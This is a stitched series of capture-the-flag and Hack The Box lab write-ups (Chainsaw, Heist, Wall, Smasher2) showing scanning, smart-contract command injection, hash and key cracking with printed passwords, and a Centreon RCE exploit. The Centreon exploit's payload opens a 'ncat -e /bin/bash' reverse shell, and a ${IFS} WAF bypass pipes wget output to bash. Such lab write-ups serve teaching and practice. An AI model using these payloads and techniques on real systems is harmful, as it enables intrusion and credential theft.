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[email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets No. Time Source Destination Protocol Length Info 4606 106.913965051 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=69 (reply in 4607)
Frame 4606: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0 Ethernet II, Src: Vmware_44:51:4f (00:0c:29:44:51:4f), Dst: Vmware_86:2b:43 (00:0c:29:86:2b:43) Internet Protocol Version 4, Src: 192.168.125.138, Dst: 192.168.125.143 Internet Control Message Protocol --- No. Time Source Destination Protocol Length Info 4748 110.024784457 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4747)
Frame 4748: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0 Ethernet II, Src: Vmware_86:2b:43 (00:0c:29:86:2b:43), Dst: Vmware_44:51:4f (00:0c:29:44:51:4f) Internet Protocol Version 4, Src: 192.168.125.143, Dst: 192.168.125.138 Internet Control Message Protocol [email protected]:~/Desktop/EGCTF-Quals/forensics/secret-agent#
We don’t need 128 because that’s the ttl number from the response packets so we’ll remove it by piping to grep -v "128", then finally will use echo -n on the output to produce a single line output:
I used the ASCII code tool from dcode.fr to decode the flag:
That’s it , Feedback is appreciated ! Don’t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Chainsaw retired and here’s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. It’s a Linux box and its ip is 10.10.10.142, I added it to /etc/hosts as chainsaw.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 18:34 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (1.2s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json | -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol |_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.xx.xx | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 5 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA) | 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA) |_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 394.56 seconds [email protected]:~/Desktop/HTB/boxes/chainsaw#
We got ssh on port 22 and ftp on port 21.
FTP
Anonymous authentication was allowed on the ftp server, so let’s check what’s in there:
[email protected]:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb Connected to chainsaw.htb. 220 (vsFTPd 3.0.3) Name (chainsaw.htb:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol -rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt 226 Directory send OK. ftp> mget * mget WeaponizedPing.json? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes). 226 Transfer complete. 23828 bytes received in 0.26 secs (88.2424 kB/s) mget WeaponizedPing.sol? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes). 226 Transfer complete. 243 bytes received in 0.00 secs (2.3174 MB/s) mget address.txt? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for address.txt (44 bytes). 226 Transfer complete. 44 bytes received in 0.00 secs (421.2623 kB/s) ftp> exit 221 Goodbye. [email protected]:~/Desktop/HTB/boxes/chainsaw#
WeaponizedPing.sol:
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pragma solidity ^0.4.24;
contract WeaponizedPing { string store = "google.com";
And setDomain() which takes a string and changes the value of store from whatever it was to that string:
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functionsetDomain(string _value)public { store = _value; }
From the name of the contract (WeaponizedPing), I assumed that ping gets executed on store. We can control store by calling setDomain(), if the ping command doesn’t get filtered we’ll be able to inject commands and get RCE. However to do all of that we need to be able to interact with the contract in the first place.
WeaponizedPing: Interaction
Assuming that the contract is deployed on a publicly exposed ethereum node, I ran a full nmap scan to find the port on which the server is running:
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[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (2.8s latency). Not shown: 37555 closed ports, 27977 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 9810/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 674.00 seconds [email protected]:~/Desktop/HTB/boxes/chainsaw#
I found another open port (9810), I ran a service scan on that port:
[email protected]:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:24 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (1.7s latency).
PORT STATE SERVICE VERSION 9810/tcp open unknown | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:25:01 GMT | Connection: close | Request | GetRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:24:27 GMT | Connection: close | Request | HTTPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:24:30 GMT |_ Connection: close 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9810-TCP:V=7.70%I=7%D=11/22%Time=5DD819CA%P=x86_64-pc-linux-gnu%r(G SF:etRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nAccess-Control-All SF:ow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Type,\x20Accept, SF:\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control- SF:Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDate:\x20Fri,\x2 SF:022\x20Nov\x202019\x2017:24:27\x20GMT\r\nConnection:\x20close\r\n\r\n40 SF:0\x20Bad\x20Request")%r(HTTPOptions,100,"HTTP/1\.1\x20200\x20OK\r\nAcce SF:ss-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Ty SF:pe,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nA SF:ccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDa SF:te:\x20Fri,\x2022\x20Nov\x202019\x2017:24:30\x20GMT\r\nConnection:\x20c SF:lose\r\n\r\n")%r(FourOhFourRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Requ SF:est\r\nAccess-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x2 SF:0Content-Type,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin: SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/ SF:plain\r\nDate:\x20Fri,\x2022\x20Nov\x202019\x2017:25:01\x20GMT\r\nConne SF:ction:\x20close\r\n\r\n400\x20Bad\x20Request");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.55 seconds [email protected]:~/Desktop/HTB/boxes/chainsaw#
It responded to HTTP requests which means that the JSON-RPC server is HTTP based. There are a lot of ways to interact with ethereum smart contracts, I used web3 python library. (A great reference) I imported Web3 and eth:
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from web3 import Web3, eth
Then I created a new web3 connection to http://chainsaw.htb:9810 and saved it in a variable called w3:
To interact with the smart contract we need two things:
The address of the contract: we got the address earlier from the ftp server (Note: that address changes everytime the box is reset).
The ABI (Application Binary Interface) of the contract: We can get it from the contract source.
To get the ABI I used the solidity IDE to compile the contract then I clicked on “Details” and copied the ABI: I saved it in a file (ABI.txt) then I executed echo -n on cat ABI.txt to make it a single line:
It’s working fine, let’s try to change the domain by using setDomain():
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contract.functions.setDomain("test").transact()
Note: When passing arguments to functions we have to use transact() instead of call(), to use transact() we need an account, that’s why I added this line:
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w3.eth.defaultAccount = w3.eth.accounts[0]
test.py:
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#!/usr/bin/python3 import json from web3 import Web3, eth
There were 2 users on the box, administrator and bobby:
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[email protected]:/opt/WeaponizedPing$ cd /home [email protected]:/home$ ls -al total 16 drwxr-xr-x 4 root root 4096 Dec 12 2018 . drwxr-xr-x 25 root root 4096 Dec 20 2018 .. drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 administrator drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 bobby [email protected]:/home$
administrator had no permission to access bobby‘s home directory:
I used ssh2john.py to get the hash of the key in john format then I used john with rockyou.txt to crack it:
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[email protected]:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash [email protected]:~/Desktop/HTB/boxes/chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt ./bobby.key.enc.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status jackychain (./bobby.key.enc) 1g 0:00:00:22 DONE (2019-11-22 21:56) 0.04380g/s 628195p/s 628195c/s 628195C/s *7¡Vamos! Session completed [email protected]:~/Desktop/HTB/boxes/chainsaw#
Password: jackychain, let’s ssh into the box as bobby:
[email protected]:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc [email protected]:~/Desktop/HTB/boxes/chainsaw# ssh -i bobby.key.enc [email protected] Enter passphrase for key 'bobby.key.enc': [email protected]:~$ whoami bobby [email protected]:~$ id uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip) [email protected]:~$ ls -la total 52 drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 . drwxr-xr-x 4 root root 4096 Dec 12 2018 .. lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -> /dev/null -rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout -rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local -rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh -r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt -rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts [email protected]:~$
We owned user.
ChainsawClub: Analysis
In bobby‘s home directory there was a directory called projects which had a project called ChainsawClub, Inside that directory there was another smart contract:
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[email protected]:~$ cd projects/ [email protected]:~/projects$ ls -al total 12 drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 . drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 .. drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 ChainsawClub [email protected]:~/projects$ cd ChainsawClub/ [email protected]:~/projects/ChainsawClub$ ls -al total 156 drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 . drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 .. -rw-r--r-- 1 root root 44 Nov 22 20:04 address.txt -rwsr-xr-x 1 root root 16544 Jan 12 2019 ChainsawClub -rw-r--r-- 1 root root 126388 Jan 23 2019 ChainsawClub.json -rw-r--r-- 1 root root 1164 Jan 23 2019 ChainsawClub.sol [email protected]:~/projects/ChainsawClub$
Obviously we’ll use the smart contract to sign up, similar to what we did earlier we’ll write a python script to interact with the contract. We’ll use: setUsername() to set the username setPassword() to set the password, it has to be md5 hashed as we saw:
setApprove() to change approve from false to true transfer() to transfer coins to the user’s balance, it can’t transfer more than 1000 coins because that’s the value of totalSupply and we can’t transfer more than that:
Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didn’t have enough funds and exited.
ChainsawClub: Exploitation
I used netstat to list the open ports, 63991 was open and listening on localhost only so I assumed that it’s the port on which the contract is deployed:
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[email protected]:~/projects/ChainsawClub$ netstat -ntlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:9810 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:63991 0.0.0.0:* LISTEN - tcp6 0 0 :::21 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - [email protected]:~/projects/ChainsawClub$
I got the ABI of the contract like I did before: And we have the address of the contract in address.txt I wrote the exploit and forwarded the port to my box:
[*] Please sign up first and then log in! [*] Entry based on merit.
Username: rick Password:
************************ * Welcome to the club! * ************************
Rule #1: Do not get excited too fast. [email protected]:/home/bobby/projects/ChainsawClub# [email protected]:/home/bobby/projects/ChainsawClub# whoami root [email protected]:/home/bobby/projects/ChainsawClub# id uid=0(root) gid=0(root) groups=0(root) [email protected]:/home/bobby/projects/ChainsawClub#
However the root flag wasn’t there:
Slack Space –> Root Flag
root.txt size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes (4096 - 52) which is called “slack space”. (Check this page, and this one). Slack space can be used to hide data, which was the case here with the root flag. I used bmap:
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bmap --mode slack root.txt --verbose
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Heist retired and here’s my write-up about it. It’s an easy Windows machine and its ip is 10.10.10.149, I added it to /etc/hosts as heist.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/heist# nmap -sV -sT -sC -o nmapinitial heist.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:01 EST Nmap scan report for heist.htb (10.10.10.149) Host is up (0.16s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested resource was login.php 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 80.49 seconds [email protected]:~/Desktop/HTB/boxes/heist#
We got smb and http on port 80, I also ran another scan on port 5895 to see if winrm is running and it was:
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[email protected]:~/Desktop/HTB/boxes/heist# nmap -sV -sT -p 5985 heist.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:05 EST Nmap scan report for heist.htb (10.10.10.149) Host is up (0.42s latency). PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.10 seconds [email protected]:~/Desktop/HTB/boxes/heist#
The index page had a login form, however there was a guest login option:
After getting in as guest I got this issues page: A user called hazard posted an issue that he’s having some problems with his Cisco router and he attached the configuration file with the issue. The configuration file had some password hashes and usernames:
version 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0 mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 600 authorization exec SSH transport input ssh
[email protected]:~/Desktop/HTB/boxes/heist# cat hash.txt $1$pdQG$o8nrSzsGXeaduXrjlvKc91 [email protected]:~/Desktop/HTB/boxes/heist# john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt Created directory: /root/.john Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status stealth1agent (?) 1g 0:00:01:09 DONE (2019-11-29 12:17) 0.01440g/s 50492p/s 50492c/s 50492C/s stealth323..stealth1967 Use the "--show" option to display all of the cracked passwords reliably Session completed [email protected]:~/Desktop/HTB/boxes/heist#
Enumerating Users –> Shell as Chase –> User Flag
So far we have hazard and rout3r as potential usernames and stealth1agent, [email protected], Q4)sJu\Y8qz*A3?d as potential passwords. I tried different combinations and I could authenticate to smb as hazard : stealth1agent, however there weren’t any useful shares:
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[email protected]:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U 'hazard' Enter WORKGROUP\hazard's password:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC SMB1 disabled -- no workgroup available [email protected]:~/Desktop/HTB/boxes/heist#
Then I could authenticate to winrm as chase : Q4)sJu\Y8qz*A3?d:
Administrator Password from Firefox Process Dump –> Shell as Administrator –> Root Flag
After enumerating the box for a while I noticed that Firefox was installed on the box which is unusual:
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*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> ls
Directory: C:\Users\Chase\appdata\Roaming Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/22/2019 7:14 AM Adobe d---s- 4/22/2019 7:14 AM Microsoft d----- 4/22/2019 8:01 AM Mozilla *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> cd Mozilla *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ls
Directory: C:\Users\Chase\appdata\Roaming\Mozilla
Mode LastWriteTime Length Name ---- ------------- ------ ----
d----- 4/22/2019 8:01 AM Extensions d----- 4/22/2019 8:01 AM Firefox d----- 4/22/2019 8:01 AM SystemExtensionsDev *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla>
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE, WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. It’s a Linux machine and its ip is 10.10.10.157, I added it to /etc/hosts as wall.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
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[email protected]:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST Nmap scan report for wall.htb (10.10.10.157) Host is up (0.50s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA) | 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA) |_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds [email protected]:~/Desktop/HTB/boxes/wall#
We got http on port 80 and ssh on port 22. Let’s check the web service.
Web Enumeration
The index page was just the default apache page: So I ran gobuster and got these results:
The only interesting thing was /monitoring, however that path was protected by basic http authentication: I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:
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[email protected]:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/ <h1>This page is not ready yet !</h1> <h2>We should redirect you to the required page !</h2>
Centreon is a network, system, applicative supervision and monitoring tool. -github
Bruteforcing the credentials through the login form will require writing a script because there’s a csrf token that changes every request, alternatively we can use the API. According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403. I used wfuzz with darkweb2017-top10000.txt from seclists:
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://wall.htb/centreon/api/index.php?action=authenticate Total requests: 10000 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000005: 403 0 L 2 W 17 Ch "qwerty" 000000006: 403 0 L 2 W 17 Ch "abc123" 000000008: 200 0 L 1 W 60 Ch "password1" 000000004: 403 0 L 2 W 17 Ch "password" 000000007: 403 0 L 2 W 17 Ch "12345678" 000000009: 403 0 L 2 W 17 Ch "1234567" 000000010: 403 0 L 2 W 17 Ch "123123" 000000001: 403 0 L 2 W 17 Ch "123456" 000000002: 403 0 L 2 W 17 Ch "123456789" 000000003: 403 0 L 2 W 17 Ch "111111" 000000011: 403 0 L 2 W 17 Ch "1234567890" 000000012: 403 0 L 2 W 17 Ch "000000" 000000013: 403 0 L 2 W 17 Ch "12345" 000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t" ^C Finishing pending requests... [email protected]:~/Desktop/HTB/boxes/wall#
password1 resulted in a 200 response so its the right password:
RCE | WAF Bypass –> Shell as www-data
I checked the version of centreon and it was 19.04: It was vulnerable to RCE (CVE-2019-13024, discovered by the author of the box) and there was an exploit for it:
payload_info = { "name": "Central", "ns_ip_address": "127.0.0.1", # this value should be 1 always "localhost[localhost]": "1", "is_default[is_default]": "0", "remote_id": "", "ssh_port": "22", "init_script": "centengine", # this value contains the payload , you can change it as you want "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port), "nagiostats_bin": "/usr/sbin/centenginestats", "nagios_perfdata": "/var/log/centreon-engine/service-perfdata", "centreonbroker_cfg_path": "/etc/centreon-broker", "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker", "centreonbroker_logs_path": "", "centreonconnector_path": "/usr/lib64/centreon-connector", "init_script_centreontrapd": "centreontrapd", "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/", "ns_activate[ns_activate]": "1", "submitC": "Save", "id": "1", "o": "c", "centreon_token": poller_token,
}
nagios_bin is the vulnerable parameter:
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# this value contains the payload , you can change it as you want "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:
When I tried to save the configuration I got a 403: That’s because there’s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS}. I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash. a:
[email protected]:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337 [+] Retrieving CSRF token to submit the login form exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
soup = BeautifulSoup(html_content) [+] Login token is : ba28f431a995b4461731fb394eb01d79 [+] Logged In Sucssfully [+] Retrieving Poller token exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
poller_soup = BeautifulSoup(poller_html) [+] Poller token is : d5702ae3de1264b0692afcef86074f07 [+] Injecting Done, triggering the payload [+] Check your netcat listener !
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[email protected]:~/Desktop/HTB/boxes/wall# nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.xx.xx] from (UNKNOWN) [10.10.10.157] 37862 /bin/sh: 0: can't access tty; job control turned off $ whoami www-data $ which python /usr/bin/python $ python -c "import pty;pty.spawn('/bin/bash')" [email protected]:/usr/local/centreon/www$ ^Z [1]+ Stopped nc -lvnp 1337 [email protected]:~/Desktop/HTB/boxes/wall# stty raw -echo [email protected]:~/Desktop/HTB/boxes/wall# nc -lvnp 1337
I searched for suid binaries and saw screen-4.5.0, similar to the privesc in Flujab I used this exploit. The exploit script didn’t work properly so I did it manually, I compiled the binaries on my box: libhax.c:
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today smasher2 retired and here’s my write-up about it. Smasher2 was an interesting box and one of the hardest I have ever solved. Starting with a web application vulnerable to authentication bypass and RCE combined with a WAF bypass, then a kernel module with an insecure mmap handler implementation allowing users to access kernel memory. I enjoyed the box and learned a lot from it. It’s a Linux box and its ip is 10.10.10.135, I added it to /etc/hosts as smasher2.htb. Let’s jump right in!
Nmap
As always we will start with nmap to scan for open ports and services:
[email protected]:~/Desktop/HTB/boxes/smasher2# nmap -sV -sT -sC -o nmapinitial smasher2.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-13 07:32 EST Nmap scan report for smasher2.htb (10.10.10.135) Host is up (0.18s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 23:a3:55:a8:c6:cc:74:cc:4d:c7:2c:f8:fc:20:4e:5a (RSA) | 256 16:21:ba:ce:8c:85:62:04:2e:8c:79:fa:0e:ea:9d:33 (ECDSA) |_ 256 00:97:93:b8:59:b5:0f:79:52:e1:8a:f1:4f:ba:ac:b4 (ED25519) 53/tcp open domain ISC BIND 9.11.3-1ubuntu1.3 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.11.3-1ubuntu1.3-Ubuntu 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: 403 Forbidden Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 34.74 seconds [email protected]:~/Desktop/HTB/boxes/smasher2#
We got ssh on port 22, dns on port 53 and http on port 80.
DNS
First thing I did was to enumerate vhosts through the dns server and I got 1 result:
wonderfulsessionmanager.smasher2.htb, I added it to my hosts file.
Web Enumeration
http://smasher2.htb had the default Apache index page:
http://wonderfulsessionmanager.smasher2.htb: The only interesting here was the login page: I kept testing it for a while and the responses were like this one:
It didn’t request any new pages so I suspected that it’s doing an AJAX request, I intercepted the login request to find out the endpoint it was requesting:
